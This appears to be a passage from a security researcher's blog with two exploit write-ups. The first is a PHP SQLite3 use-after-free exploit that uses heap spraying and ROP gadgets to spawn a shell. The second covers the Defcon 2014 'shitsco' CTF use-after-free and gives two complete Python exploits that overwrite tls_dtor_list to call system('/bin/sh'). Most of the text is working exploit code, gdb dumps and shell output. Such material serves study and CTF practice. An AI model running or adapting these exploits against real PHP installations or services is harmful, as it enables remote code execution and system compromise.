$fake_vdbe .= pack("L", 0x081a9930);  # pop esp; ret
$fake_vdbe .= pack("L", $stmt_address+340); # address to ROP payload
$fake_vdbe .= pack("L", 0x55555555);  
$fake_vdbe .= pack("L", 0x086c2e16);  # stack pivot, pop esi ; mov bh, 0x03 ; pop esp ; ret
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x08183a4b);   # pModule->xClose, mov dword [esp], ecx ; call dword [edx+0x14]

# payload
$fake_vdbe .= pack("L", 0x080965c0);  # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= str_repeat("B", 0x214 - strlen($fake_vdbe)); 

/* heap spray */
for($i = 0; $i <= 200; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
}

echo("[*] Triggering UAF to get shell". PHP_EOL);
$stmt_exp->reset();

/*
renorobert@ubuntu:~$ php -f 66550_poc.php 
[*] Triggering info leak using UAF
[*] Leaked heap address = 0x9819790
[*] Vdbe statement struct at address = 0x982d878
[*] Triggering UAF to get shell
$ 
*/
?>
Alternate Code Path

After some analysis, I found another code path which is far more simpler to exploit
static void closeAllCursors(Vdbe *p){

  if( p->pFrame ){ // skip this
    VdbeFrame *pFrame;
    for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
    sqlite3VdbeFrameRestore(pFrame);
    p->pFrame = 0;
    p->nFrame = 0;
  }
  assert( p->nFrame==0 );

  if( p->apCsr ){      // skip this
    int i;
    for(i=0; inCursor; i++){
      VdbeCursor *pC = p->apCsr[i];
      if( pC ){
        sqlite3VdbeFreeCursor(p, pC);
        p->apCsr[i] = 0;
      }
    }
  }
  if( p->aMem ){ // skip this
    releaseMemArray(&p->aMem[1], p->nMem);
  }
  while( p->pDelFrame ){ // skip this
    VdbeFrame *pDel = p->pDelFrame;
    p->pDelFrame = pDel->pParent;
    sqlite3VdbeFrameDelete(pDel);
  }

  /* Delete any auxdata allocations made by the VM */
  if( p->pAuxData ) sqlite3VdbeDeleteAuxData(p, -1, 0); // take this path
  assert( p->pAuxData==0 );
}

void sqlite3VdbeDeleteAuxData(Vdbe *pVdbe, int iOp, int mask){
  AuxData **pp = &pVdbe->pAuxData;
  while( *pp ){
    AuxData *pAux = *pp;
    if( (iOp<0) || (pAux->iOp==iOp && (pAux->iArg>31 || !(mask & MASKBIT32(pAux->iArg)))))
      {
      
      if( pAux->xDelete ){
        pAux->xDelete(pAux->pAux); // EIP control
New code path is sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeDeleteAuxData -> pAux->xDelete(pAux->pAux) . This is far more easier to control Vdbe->pAuxData->xDelete

   struct Vdbe       struct sqlite3 [Also a gadget] 
[   sqlite3 *db    ]-------->[ AAAA ] 
[                  ]         [ AAAA ] 
[AuxData *pAuxData ]----|    [ AAAA ]  
[                  ]    |    [sqlite3_mutex *mutex] 
                           |
                           |   struct AuxData
                           |--->[       ]
                                [       ]
                                [       ]
                                [xDelete]

Our struct AuxData is very simple, we spray a single address throughout the heap, which is gadget mov dword [esp], edi ; call dword [edi+0x04]. Note that edi points to our vdbe struct ie sqlite3_stmt structure, which we have full control of. So sqlite3_stmt is given as first argument and we make the call [sqlite3_stmt+0x4].

At sqlite3_stmt+4 we have address of gadget pop esi; mov bh,0x03; pop esp; ret. Neat, we will pivot our stack back to our sqlite3_stmt.

But [sqlite3_stmt+0] points to sqlite3 *db struct, such that sqlite3_stmt->sqlite3->mutex should be NULL to avoid the mutex call. So we need to provide an address which will act both as valid struct as well as a neat gadget. This is what I got

gdb-peda$ x/3i 0x8093cbe
   0x8093cbe <_init+30>: add    esp,0x8
   0x8093cc1 <_init+33>: pop    ebx
   0x8093cc2 <_init+34>: ret    
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
Now this gadget will land us right into execl("/bin/sh", NULL) after the stack pivot and hence code execution. Below is the exploit
<?php

error_reporting(0);

function pad($num){
    return str_repeat(pack("L", 0x00000000), $num);
}

$db_exp    = new SQLite3(':memory:');
$db_spray  = new SQLite3(':memory:');

$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
$db_exp->close();

$pad = 298;
$fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);
$fake_vdbe .= pack("L", 0x08093cbe);     # sqlite3 *db 

/* acts both as sqlite3 struct and gadget, db->mutex = NULL
gdb-peda$ x/3i 0x8093cbe
   0x8093cbe <_init+30>: add    esp,0x8
   0x8093cc1 <_init+33>: pop    ebx
   0x8093cc2 <_init+34>: ret    
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
*/

$fake_vdbe .= pack("L", 0x086c2e16);     # pop esi;mov bh,0x03;pop esp;ret; stack pivot,called by sprayed gadget call dword [edi+0x04]
$fake_vdbe .= pad(2);

# payload
$fake_vdbe .= pack("L", 0x080965c0);     # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= pad(46);
$fake_vdbe .= pack("L", 0x0c0c0c0c);
$fake_vdbe .= str_repeat("A", 0x600 - strlen($fake_vdbe)); 

echo("[*] Reallocating freed memory". PHP_EOL);
/* heap spray */
for($i = 0; $i <= 300; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
}

echo("[*] Heap spraying the gadget". PHP_EOL);
$spray = str_repeat(pack("L", 0x08189c6f), 0x40000);  # mov dword [esp], edi ; call dword [edi+0x04]; edi points to vdbe struct

for($i = 0; $i <= 300; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($spray) . "')");
}
echo("[*] Triggering UAF to get shell". PHP_EOL);
$stmt_exp->reset();

?>
Thats a long writeup!

Tuesday, February 24, 2015

Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability - Remote Code Execution

Defcon Quals 2014 Shitsco was an interesting challenge. There were two vulnerability in the binary - strcmp information leak and an use-after-free. Challenge could be solved either of these, but getting an RCE seemed hard. Details of the vulnerability could be found here Defcon Quals 2014 - Gynophage - shitsco - [Use-After-Free Vulnerability]

To recap, the binary uses a doubly linked list to store KEY:VALUE pairs. The HEAD node resides in bss memory whose next pointer is not cleared during linked list operations. So this stray pointer points to some freed memory in heap, leading to use-after-free. This is what the structure looks like
struct node
{
    char *key;
    char *value;
    struct node *next;
    struct node *prev;
};
Exploit Primitive

[*] We can reallocate the freed struct node with user controlled data
[*] Information leak could be achieved by setting *key and *value to some static address to read interesting information
[*] This node needs to be deleted, so that further user controlled data could be placed here
[*] Trigger doubly linked list unlink operation

[next+0xc] = prev
[prev+0x8] = next

This gives us a write anything-anywhere primitive, but we have a problem - both next and prev pointers need to be writable. Also NX is enabled, so jumping to shellcode in writable area won't work
[*] Once unlink is done, free(key) and free(value) is called. key and value points to some static address like bss, these pointers do not belong to heap and not suitable for free operation. Glibc sanity checks will immediately abort the program execution and prevent any exploitation
[*] We need information leak and unlink as two separate operation, so that program won't crash after information leak

Problem

[*] Problem of both next and prev pointers being writable could be overcome by overwriting tls_dtor_list. Thanks to Google Project Zero for The poisoned NUL byte, 2014 edition
[*] The free being called with invalid pointers immediately after unlink operation is still a problem. This needs a bypass

I have 2 working solutions for this problem - Disabling glibc heap protection or by triggering an information leak and freeing the same chunk without crashing the program

Disabling glibc protection by overwriting check_action

Interestingly glibc provides features to control program behavior during a heap corruption. This could be passed as environment variable or set using mallopt(). Below is from the man page
The following numeric values are meaningful for M_CHECK_ACTION:

                   0  Ignore error conditions; continue execution (with
                      undefined results).

                   1  Print a detailed error message and continue execution.

                   2  Abort the program.

                   3  Print detailed error message, stack trace, and memory
                      mappings, and abort the program.

                   5  Print a simple error message and continue execution.

                   7  Print simple error message, stack trace, and memory
                      mappings, and abort the program.

              Since glibc 2.3.4, the default value for the M_CHECK_ACTION
              parameter is 3.  In glibc version 2.3.3 and earlier, the
              default value is 1.

The remaining bits in value are ignored.
malloc/malloc.c

# ifndef DEFAULT_CHECK_ACTION
# define DEFAULT_CHECK_ACTION 3
# endif

static int check_action = DEFAULT_CHECK_ACTION;

int __libc_mallopt (int param_number, int value)
{
.....
case M_CHECK_ACTION:
      LIBC_PROBE (memory_mallopt_check_action, 2, value, check_action);
      check_action = value;
      break;
.....
}
This gets called from malloc/arena.c

if (s && s[0])
    {
      __libc_mallopt (M_CHECK_ACTION, (int) (s[0] - '0'));
      if (check_action != 0)
        __malloc_check_init ();
    }

where s[0] is the value passed as MALLOC_CHECK_ environment variable.
So basically ptmalloc_init () sets up all these. check_action being a static variable resides at fixed offset from libc base address. If we could overwrite the check_action variable with some value which won't abort the program, we are good. This could be achieved even by an arbitrary NUL write.

Our target program provides an arbitrary write operation before the invalid free operations. So the idea here is to overwrite the check_action with an valid writable address[ Remember, both next and prev pointer should be valid writable address]. Remaining bits in check_action are ignored.

Libc ASLR bypass

But we still don't know where the check_action resides during execution except for the offset and information leak is not useful for first unlink operation. Since its an 32 bit ELF, libc randomization is limited to 8 bits. So one can brute force this value even over network. Heap has better randomization [greater than 12 bits].
renorobert@ubuntu:~$ ldd ./shitsco | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf751e000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75e7000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75f4000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75c6000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75b5000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf751a000)
Since the program is not forked, we will choose a libc base address for our exploit and wait until we get lucky.

Exploitation

To exploit this binary we setup the following list
HEAD NODE      UAF CHUNK

[ KEY   ]       |--->[ KEY   ] --> bss address of some fixed string eg. 'set'
[ VALUE ]       |    [ VALUE ] --> bss address of head node for info leak
[ NEXT  ] ------|    [ NEXT  ] --> valid writable address, such that last 3 bits are 0 
[ PREV  ]            [ PREV  ] --> check_action - 8
The reallocation of freed chunk was done by trial and error, by setting and unsetting values. We have better control of this in 2nd solution
Operation supported:

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
======================================
Type ? followed by a command for more detailed information

$ show set
$ set set
The 'show set' will trigger information leak and 'set set' will unlink the node and disable sanity checks.

Since the chunk is unlinked and freed, we reallocate the same with user controlled data. This time we unlink the node to overwrite the tls_dtor_list with address of fake dtor_list setup in heap[We already have information leak] to call system('/bin/sh').
HEAD NODE      UAF CHUNK

[ KEY   ]       |--->[ KEY   ] --> bss address of some fixed string eg. 'set'
[ VALUE ]       |    [ VALUE ] --> something here
[ NEXT  ] ------|    [ NEXT  ] --> fake dtor_list structure address 
[ PREV  ]            [ PREV  ] --> tls_dtor_list address - 8
Below is the full exploit:
#!/usr/bin/env python

import struct
import telnetlib
from sys import exit
import time

ip = '127.0.0.1'
port = 31337
port = 513

def p(num): return struct.pack("<I", num)

def send(command):
    global con
    con.write(command + chr(0xa))
    return con.read_until('$ ')

# pointer to string set, to be used as key in fake structure
set_string = 0x08049B08
# pointer to sh string -> /bin/sh 
sh_string = 0x080483BD 
# writable address from bss
fake_struct = 0x0804C3C0 
# head node of doubly linked list, to be used for info leak
bss_head_node = 0x0804C36C 
# MALLOC_CHECK_ offset to be added with libc base address
check_action_offset = 0x1AB10C
# tls_dtor_list offset to be subtracted from libc base address
tls_dtor_list_offset = 0x6EC
# offset to system()
system_offset = 0x00040190
# libc_base_address needs to be bruteforced
libc_base_address = 0xf75e1000

print "[*] Bruteforcing libc base address"
while True:
    try:
        con = telnetlib.Telnet(ip, port)
        con.read_until('$ ')
        malloc_check_action = libc_base_address + check_action_offset

        # fake structure for leaking heap memory and disable glibc heap protection
        fakeobj  = p(set_string)
        fakeobj += p(bss_head_node)
        fakeobj += p(fake_struct)
        fakeobj += p(malloc_check_action - 8)

        send('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA3 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA0')
        send('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA1')
        send('set AAAAAAAAAAAAAAA3')
        send('set CCCCCCCCCCCCCCCC ' + fakeobj)

        # trigger information leak
        laddress = send('show set')
        laddress = laddress[5:-3]
        heapa, heapb, heapc = struct.unpack("<III", laddress)
        print "[*] Leaked heap addresses : [0x%x] [0x%x] [0x%x]" %(heapa, heapb, heapc)

        # free allocated memory and overwrite check_option 
        print "[*] Trying check_action overwrite"
        ret = send('set set')
        if '$' not in ret: continue
        print "[*] Overwritten check_action to disable sanity checks"
 
        # address of fake dtor_list
        dtor_list_address = heapa + 0xa8

        # fake object to be used for overwriting tls_dtor_list
        fakeobj  = p(set_string)
        fakeobj += p(set_string)
        fakeobj += p(dtor_list_address)
        fakeobj += p(libc_base_address - tls_dtor_list_offset - 8)

        # fake dtor_list
        dtor_list  = p(libc_base_address + system_offset) # system
        dtor_list += p(sh_string)    # sh
        dtor_list += p(0xdeadbeef)
        dtor_list += p(0xdeadbeef)

        send('set AAAAAAAAAAAAAAA0')
        send('set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA')
        send('set AAAAAAAAAAAAAAA1')
        send('set ' + dtor_list + ' ' + fakeobj)

        # overwrite tls_dtor_list
        print "[*] Overwriting tls_dtor_list"
        send('set set')

        # get shell
        print "[*] Getting shell"
        con.write('quit\n')
        try: con.interact()
        except: exit(0)
    except: continue
We will get shell when right libc address is hit.
[*] Leaked heap addresses : [0x826f060] [0x826f030] [0x826f078]
[*] Trying check_action overwrite
[*] Leaked heap addresses : [0x927a060] [0x927a030] [0x927a078]
[*] Trying check_action overwrite
[*] Leaked heap addresses : [0x88ce060] [0x88ce030] [0x88ce078]
[*] Trying check_action overwrite
[*] Leaked heap addresses : [0x9504060] [0x9504030] [0x9504078]
[*] Trying check_action overwrite
[*] Leaked heap addresses : [0x9e81060] [0x9e81030] [0x9e81078]
[*] Trying check_action overwrite
[*] Overwritten check_action to disable sanity checks
[*] Overwriting tls_dtor_list
[*] Getting shell
id
uid=0(root) gid=0(root) groups=0(root)
Triggering information leak by Fast bin alignment

This is the second solution for the challenge which doesn't require brute force or check_action overwrite. We rely only on info leaks and some heap operations. The binary allocates heap chunks in 2 sizes - 16 and 24 bytes. Since the KEY:VALUE string is also restricted to 16 bytes.
gdb-peda$ run

 oooooooo8 oooo        o88    o8                                       
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo   
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888 
        888 888   888   888  888           888 888         888     888 
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88   
                                                                       
Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ set A AAAAAAAAAAAAAAAA
$ set B BBBBBBBBBBBBBBBB
$ ^C

gdb-peda$ python import heap
gdb-peda$ heap used
Used chunks of memory on heap
-----------------------------
     0: 0x0804d008 -> 0x0804d01f       24 bytes uncategorized::24 bytes |28 d0 04 08 30 d0 04 08 00 00 00 00 65 00 00 00 00 00 00 07 11 00 00 00 00 00 00 00 00 00 00 00 |(...0.......e...................|
     1: 0x0804d020 -> 0x0804d02f       16 bytes uncategorized::16 bytes |00 00 00 00 00 00 00 00 00 00 00 09 19 00 00 00 00 00 00 00 42 42 42 42 42 42 42 42 42 42 42 42 |....................BBBBBBBBBBBB|
     2: 0x0804d030 -> 0x0804d047       24 bytes uncategorized::24 bytes |00 00 00 00 42 42 42 42 42 42 42 42 42 42 42 42 00 60 ff 02 11 00 00 00 41 00 92 00 00 00 00 00 |....BBBBBBBBBBBB. ......A.......|
     3: 0x0804d048 -> 0x0804d057       16 bytes uncategorized::16 bytes |41 00 92 00 00 00 00 00 a0 d0 04 09 19 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |A...............AAAAAAAAAAAAAAAA|
     4: 0x0804d058 -> 0x0804d06f       24 bytes   C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 90 00 02 19 00 00 00 88 d0 04 08 98 d0 04 08 |AAAAAAAAAAAAAAAA................|
     5: 0x0804d070 -> 0x0804d087       24 bytes uncategorized::24 bytes |88 d0 04 08 98 d0 04 08 00 00 00 00 6c c3 04 08 97 00 00 03 11 00 00 00 42 00 8a 00 00 00 00 00 |............l...........B.......|
     6: 0x0804d088 -> 0x0804d097       16 bytes uncategorized::16 bytes |42 00 8a 00 00 00 00 00 00 00 00 09 19 00 00 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 |B...............BBBBBBBBBBBBBBBB|
     7: 0x0804d098 -> 0x0804d0af       24 bytes   C:string data:None |42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 00 88 00 02 59 0f 02 00 00 00 00 00 00 00 00 00 |BBBBBBBBBBBBBBBB....Y...........|
User allocations of size 8 goes into fast bin of 16 bytes, and anything above till 16 bytes goes into fast bins of size 24 bytes. doubly-linked list nodes are also part of fast bins of size 24. So in the UAF reallocation, one needs to create allocations in the fast bins list of 24 bytes.

Fast bins have singly-list, the last freed node is inserted as head. On request, it returns a pointer to the first free chunk ie the head. So basically, last freed node is allocated first on request.

Now, the binary requests series of heap chunks like below:

HEAD Node
[*] Head node is in bss. So no heap memory is requested for this chunk
[*] There is 2 strdup calls, to copy user supplied KEY and VALUE into heap. This is used for further processing
[*] Then 2 more strdup calls to setup final pointers for KEY and VALUE for each node
[*] Then first 2 strdup are freed

OTHER Nodes
[*] There is 2 strdup calls, to copy user supplied KEY and VALUE into heap. This is used for further processing
[*] calloc[16 bytes] for struct node
[*] Then 2 more strdup calls to setup final pointers for KEY and VALUE for each node
[*] Then first 2 strdup are freed

Below is ltrace for clarity:
HEAD
[0x8048b68] __strdup(0xffffceb0, 0x8049b08, 3, 0xf7ef9a10)    = 0x804d020
[0x8048b68] __strdup(0xffffceb2, 0x8049b08, 3, 0xf7ef9a10)    = 0x804d030
[0x8049030] __strdup(0x804d020, 17, 0x804c2d8, 0xf7e760ff)    = 0x804d048
[0x804903d] __strdup(0x804d030, 17, 0x804c2d8, 0xf7e760ff)    = 0x804d058
[0x80490ab] free(0x804d020)                                   
[0x80490ab] free(0x804d030)                                   

NEXT
[0x8048b68] __strdup(0xffffceb0, 0x8049b08, 3, 0xf7ef9a10)    = 0x804d020
[0x8048b68] __strdup(0xffffceb2, 0x8049b08, 3, 0xf7ef9a10)    = 0x804d030
[0x8048fcc] calloc(1, 16)                                     = 0x804d070
[0x8048fdc] __strdup(0x804d020, 16, 0x804c2d8, 0xf7e760ff)    = 0x804d088
[0x8048fe6] __strdup(0x804d030, 16, 0x804c2d8, 0xf7e760ff)    = 0x804d098
[0x80490ab] free(0x804d020)                                   
[0x80490ab] free(0x804d030)                                   
So whats the whole plan with these information? We need to modify the fast bin linked list such that both *value and *next pointer of HEAD node points to the same memory ie value for HEAD node should get allocated in the stray next pointer. Right now this is how the HEAD node looks like:
gdb-peda$ x/4wx 0x0804C36C
0x804c36c: 0x0804d048 0x0804d058 0x0804d070 0x00000000

where 0x0804d048 -> key
      0x0804d058 -> value
      0x0804d070 -> next
      0x00000000 -> prev 
This is what we need to achieve:
HEAD NODE      UAF CHUNK

[ KEY   ]    |--|--->[ KEY   ] --> bss address of some fixed string eg. 'set'
[ VALUE ] ---|  |    [ VALUE ] --> bss address of head node for info leak
[ NEXT  ] ------|    [ NEXT  ] --> something here 
[ PREV  ]            [ PREV  ] --> something here

char * value and struct node *next both are pointing to same memory
So what do we achive using this? By using 'show' command, we get information leak since the 'next' pointer will iterate into UAF chunk. The same UAF chunk could be freed by freeing HEAD node, since UAF chunk is a value pointer for HEAD node.

Now, though we dont have valid pointers to be set up in UAF chunk we could free it for further allocation without running into glibc heap checks. Below is a series of operation that could align fast bins [24] as we need:
Series of operation to modify fast bin list of size 24

set A AAAAAAAAAAAAAAAA
[strdup] 0x804d030
[valueA] 0x804d058

set B BBBBBBBBBBBBBBBB
[strdup]  0x804d030
[valueA]  0x804d058  
[allocB]  0x804d070 ; we need to control this memory, this memory should be second last to be freed
[valueB]  0x804d098

set A
[strdup - free] 0x804d030
[freeA]  0x804d058
[allocB]  0x804d070 
[valueB]  0x804d098

set B
[strdup - free] 0x804d030
[freeA]  0x804d058
[freeB2] 0x804d070
[freeB1] 0x804d098

set A AAAAAAAAAAAAAAAA
[strdup] 0x804d070
[valueA] 0x804d098

set A
[strdup - free] 0x804d070
[freeA]  0x804d098

set B BBBBBBBBBBBBBBBB
[strdup] 0x804d098
[valueB] 0x804d070 ; reallocated with BBBBBBBBBBBBBBBB

gdb-peda$ x/4x 0x0804C36C
0x804c36c: 0x0804d080 0x0804d068 0x0804d068 0x00000000
Exploitation

[*] Use the above series of operation to leak heap address
[*] Then use the same for leaking GOT entry of __libc_start_main to find the libc base address
[*] Setup a fake dtor_list to call system('sh')
[*] Setup a fake node with valid heap pointers for free() operation and addresses for tls_dtor_list overwrite
[*] Trigger unlink to overwrite tls_dtor_list and get shell

Below is the exploit
#!/usr/bin/env python

import struct
import telnetlib
from sys import exit

ip = '127.0.0.1'
port = 31337
port = 513

con = telnetlib.Telnet(ip, port)
con.read_until('$ ')

def p(num): return struct.pack("<I", num)

def send(command):
    global con
    con.write(command + chr(0xa))
    return con.read_until('$ ')

# pointer to string set, to be used as key in fake structure
set_string = 0x08049B08
# pointer to sh string -> /bin/sh 
sh_string = 0x080483BD 
# writable address from bss
fake_struct = 0x0804C3C0 
# head node of doubly linked list, to be used for info leak
bss_head_node = 0x0804C36C 
# GOT entry of __libc_start_main, to be used for info leak
libc_start_main = 0x0804C03C
# MALLOC_CHECK_ offset to be added with libc base address
check_action_offset = 0x1AB10C
# tls_dtor_list offset to be subtracted from libc base address
tls_dtor_list_offset = 0x6EC
# libc_start_main offset used to find libc base address
libc_start_main_offset = 0x00019990
# offset to system()
system_offset = 0x00040190


# fake structure for leaking heap memory
fakeobj  = p(set_string)
fakeobj += p(bss_head_node)
fakeobj += p(fake_struct)
fakeobj += p(fake_struct)

send('set A AAAAAAAAAAAAAAAA')
send('set B AAAAAAAAAAAAAAAA')
# will be used as pointers to be freed while overwriting tls_dtor_list
send('set C CCCCCCCCCCCCCCCC')
send('set A')
send('set B')
send('set A AAAAAAAAAAAAAAAA')
send('set A')
# fake object will take the next pointer of head node
send('set B ' + fakeobj)

# trigger info leak to get heap address
laddress = send('show set')
laddress = laddress[5:-3]
heapa, heapb, heapc = struct.unpack("<III", laddress)
print "[*] Leaked heap addresses : [0x%x] [0x%x] [0x%x]" %(heapa, heapb, heapc)

# free the memory
send('set B')

# leak the libc address
fakeobj  = p(set_string)
fakeobj += p(libc_start_main)
fakeobj += p(fake_struct)
fakeobj += p(fake_struct)

send('set A AAAAAAAAAAAAAAAA')
send('set A')
# fake object will take the next pointer of head node
send('set B ' + fakeobj)
# trigger info leak to get libc address
laddress = send('show set')
laddress = laddress[5:5+4]
leaked_libc_start_main = struct.unpack("<I", laddress)[0]

print "[*] Leaked address of __libc_start_main : [0x%x]" %(leaked_libc_start_main)

libc_base_address = leaked_libc_start_main - libc_start_main_offset
print "[*] Address of libc_base_address : [0x%x]" %(libc_base_address)
# check_action overwrite not used for this exploit
print "[*] Address of check_action      : [0x%x]" %(libc_base_address + check_action_offset)

tls_dtor_list_address = libc_base_address - tls_dtor_list_offset
print "[*] Address of tls_dtor_list     : [0x%x]" %(tls_dtor_list_address)

# free the memory
send('set B')

# overwrite tls_dtor_list

# points to C
freea = heapa + 0x40
# points to CCCCCCCCCCCCCCCC
freeb = heapa + 0x50
# points to fake tls_dtor_list with pointer to system('/bin/sh')
fake_tls_dtor_list = heapa - 0x30
# points to fake object
ptr_to_fake_obj = heapa - 0x58

fakeobj  = p(freea)
fakeobj += p(freeb)
fakeobj += p(tls_dtor_list_address - 12)
fakeobj += p(fake_tls_dtor_list)

dtor_list  = p(libc_base_address + system_offset) # system
dtor_list += p(sh_string)    # sh
dtor_list += p(ptr_to_fake_obj) 
dtor_list += p(0xdeadbeef)

send('set ' + dtor_list + ' ' + fakeobj)

# trigger the overwrite
print "[*] Overwriting tls_dtor_list"
send('set C')

# get shell
print "[*] Getting shell"
con.write('quit\n')
try: con.interact()
except: exit(0)
renorobert@ubuntu:~$ python shitsco_sploit.py 
[*] Leaked heap addresses : [0x86b3080] [0x86b3068] [0x86b3068]
[*] Leaked address of __libc_start_main : [0xf751d990]
[*] Address of libc_base_address : [0xf7504000]
[*] Address of check_action      : [0xf76af10c]
[*] Address of tls_dtor_list     : [0xf7503914]
[*] Overwriting tls_dtor_list
[*] Getting shell
id
uid=0(root) gid=0(root) groups=0(root)
So we got two working exploits - One by check_action overwrite and another by triggering information leak by aligning heap chunks based on fast bin operation.